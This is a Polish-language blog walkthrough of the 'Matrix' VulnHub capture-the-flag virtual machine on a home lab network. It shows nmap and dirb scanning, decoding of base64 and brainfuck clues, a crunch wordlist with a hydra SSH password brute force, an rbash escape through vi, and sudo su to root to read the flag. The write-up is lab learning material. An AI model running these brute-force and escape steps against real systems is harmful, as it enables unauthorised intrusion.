Matrix vulnhub

Matrix vulnhub

Kolejna nowa seria, tym razem opis przejścia maszyny wirtualnej pobranej z serwisu vulnhub, a następnie uruchomionej na lokalnej maszynie.

Jest to zadanie polegające na dostaniu się do maszyny virtualnej na konto superużytkownika root przy pomocy znanych technik pokonywania zabezpieczeń, zatem do dzieła:

Najpierw muszę ustalić jaki adres IP został przydzielony mojej maszynie poprzez serwer DHCP skonfigurowany na moim routerze.

netdiscover -r 192.168.1.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 7 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 420
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.1.1     00:1a:70:98:e6:e2      3     180  Cisco-Linksys, LLC
 192.168.1.101   74:2b:62:ec:24:e6      3     180  FUJITSU LIMITED
 192.168.1.104   08:00:27:e5:b2:aa      1      60  PCS Systemtechnik GmbH

Na podstawie adresu MAC można określić, że badanym hostem będzie 192.168.1.104. Sprawdźmy zatem jakie usługi działają na tym hoście:

root@kali-desktop:~# nmap -sV -p- -A 192.168.1.104
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-24 08:54 CET
Nmap scan report for 192.168.1.104
Host is up (0.0010s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA)
|   256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA)
|_  256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (ED25519)
80/tcp    open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|_http-title: Welcome in Matrix
31337/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|_http-title: Welcome in Matrix
MAC Address: 08:00:27:E5:B2:AA (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/24%OT=22%CT=1%CU=39410%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=5E538172%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%II=I%TS=A
OS:)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10D%T
OS:I=Z%TS=A)OPS(O1=M5ACST11NW6%O2=M5ACST11NW6%O3=M5ACNNT11NW6%O4=M5ACST11NW
OS:6%O5=M5ACST11NW6%O6=M5ACST11)WIN(W1=7080%W2=7080%W3=7080%W4=7080%W5=7080
OS:%W6=7080)ECN(R=Y%DF=Y%T=40%W=7170%O=M5ACNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%
OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W
OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D
OS:FI=N%T=40%CD=S)

Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.04 ms 192.168.1.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.10 seconds

Badanie skanerem nmap pozwala określić działające na hoście porty, którymi tutaj są 22,80 oraz 31337. Pierwszy odpowiada za zdalne logowanie się na host, kolejne to porty serwera www.

Sprawdźmy zatem jaka jest zawartość strony, tzn. czy posiada jakieś ukryte katalogi, które mogą zawierać ukrytą zawartość. Użyję narzędzia dirbuster.

root@kali-desktop:~# dirb http://192.168.1.104 /usr/share/dirb/wordlists/common.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Feb 24 09:39:33 2020
URL_BASE: http://192.168.1.104/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.104/ ----
+ http://192.168.1.104/assets (CODE:301|SIZE:0)
+ http://192.168.1.104/index.html (CODE:200|SIZE:3734)

-----------------
END_TIME: Mon Feb 24 09:40:10 2020
DOWNLOADED: 4612 - FOUND: 2

Wykorzystałem słownik z dystrybucji Kali Linux, gdzie znajdują się najbardziej popularne słowa kluczowe dla stron internetowych. Zawartość wypisana powyżej nie przedstawia żadnej ciekawej informacji. Sprawdziłem również plik robots.txt (nie istnieje) oraz kod strony (nie posiada kluczowych informacji dla zadania.)

Pora przyjrzeć się portowi 31337. To również serwer www.

Następnie ponownie skanuję programem dirbuster zawartość strony.

root@kali-desktop:~# dirb http://192.168.1.104:31337 /usr/share/dirb/wordlists/common.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Feb 24 09:44:37 2020
URL_BASE: http://192.168.1.104:31337/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.104:31337/ ----
+ http://192.168.1.104:31337/assets (CODE:301|SIZE:0)
+ http://192.168.1.104:31337/index.html (CODE:200|SIZE:3998)

-----------------
END_TIME: Mon Feb 24 09:44:57 2020
DOWNLOADED: 4612 - FOUND: 2

Podobnie jak powyżej nie ma żadnej przydatnej informacji, teraz kod strony, tutaj jest coś ciekawego.

<!-- service -->
								<div class="service">
									<!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p-->
								</div><!-- End / service -->

Znajduje się tutaj informacja zakodowana w base64, odkodujmy ją.


root@kali-desktop:~# echo "ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=" | base64 -d
echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrixroot@kali-desktop:~#

Najpierw tekst z matrixa o łyżce a potec ciąg > cypher.matrix
Sprawdźmy zatem co da dołączenie tego ciągu do adresu na porcie 31337.
http://192.168.1.104:31337/Cypher.matrix

Po wejściu na ten adres ściąga się na komputer mały pliczek o wielkości 4kb. Poniżej jego treść:

+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<

Ten szalony ciąg znaków to kodowanie o nazwie brainfuck. Tekst po rozkodowaniu przedstawia się poniżej:

You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

Mamy tutaj informację, że możemy zalogować się na konto guest, natomiast hasło to k1ll0rXX, przy czym ostatnie znaki to …diabli wiedzą co…

Tutaj możemy wykorzystać program do tworzenia słowników haseł , a następnie metodą słownikową spróbować zalogować się na konto guest.

Zaczynamy od utworzenia słownika haseł:

root@kali-desktop:~# crunch 8 8 -t k1ll0r%@ -o slownik1.txt
Crunch will now generate the following amount of data: 2340 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260

crunch: 100% completed generating output

Mając słownik próbujemy złamać hasło na usługę ssh:

root@kali-desktop:~# hydra -l guest -P slownik1.txt 192.168.1.104 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2020-02-24 10:02:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:1/p:260), ~17 tries per task
[DATA] attacking ssh://192.168.1.104:22/
[22][ssh] host: 192.168.1.104   login: guest   password: k1ll0r7n
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2020-02-24 10:03:17

Mamy zatem dane do zalogowania się na hosta przy pomocy ssh, login guest, password k1ll0r7n.

ssh guest@192.168.1.104
The authenticity of host '192.168.1.104 (192.168.1.104)' can't be established.
ECDSA key fingerprint is SHA256:BMhLOBAe8UBwzvDNexM7vC3gv9ytO1L8etgkkIL8Ipk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.104' (ECDSA) to the list of known hosts.
guest@192.168.1.104's password:
Last login: Mon Aug  6 16:25:44 2018 from 192.168.56.102
guest@porteus:~$

Mamy dostęp do terminala badanej maszyny.

guest@porteus:~$ ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names

Jest to rbash, restrykcyjna wersja basha, która posiada możliwość wykonywania tylko określonych poleceń. Spróbujmy to obejść. W katalogu guest znajduje się plik vi, który jest edytorem plików. W edytorze możemy wydawać również komendy.

Stosując komendę :!/bin/bash możemy uruchomić zwykłą konsolę, która pozwala na dalsze kroki

Jeszcze tylko dodanie parametru PATH do konta:

export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH

I możemy próbować przelogować się na konto root

guest@porteus:~$ sudo -l
User guest may run the following commands on porteus:
    (ALL) ALL
    (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
    (trinity) NOPASSWD: /bin/cp

Z powyższego wpisu wynika, że każdy może zmienić konto na roota, spróbujmy zatem:

guest@porteus:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

Password:
root@porteus:/home/guest#

Mamy zatem dostęp do konta root, zadanie wykonane, teraz pora na odczytanie flagi:

root@porteus:/home/guest# cd /root
root@porteus:~# ls
Desktop/  Documents/  Downloads/  Music/  Pictures/  Public/  Videos/  flag.txt
root@porteus:~# cat flag.txt
   _,-.
,-'  _|                  EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._              INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_.           IN THE MATRIX AND BEAT OFF
|`-._`-.\,-'_|  _,-'.
     `-.|.-' | |`.-'|_     WHAT
        |      |_|,-'_`.
              |-._,-'  |     NO, ME NEITHER
         jrei | |    _,'
              '-|_,-'          IT'S JUST A HYPOTHETICAL QUESTION

root@porteus:~#

Tutaj kończy się zadanie, test maszyn wirtualnych jest bardzo interesujący i pouczający. Wymaga oddzielnej serii dla tego zagadnienia.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *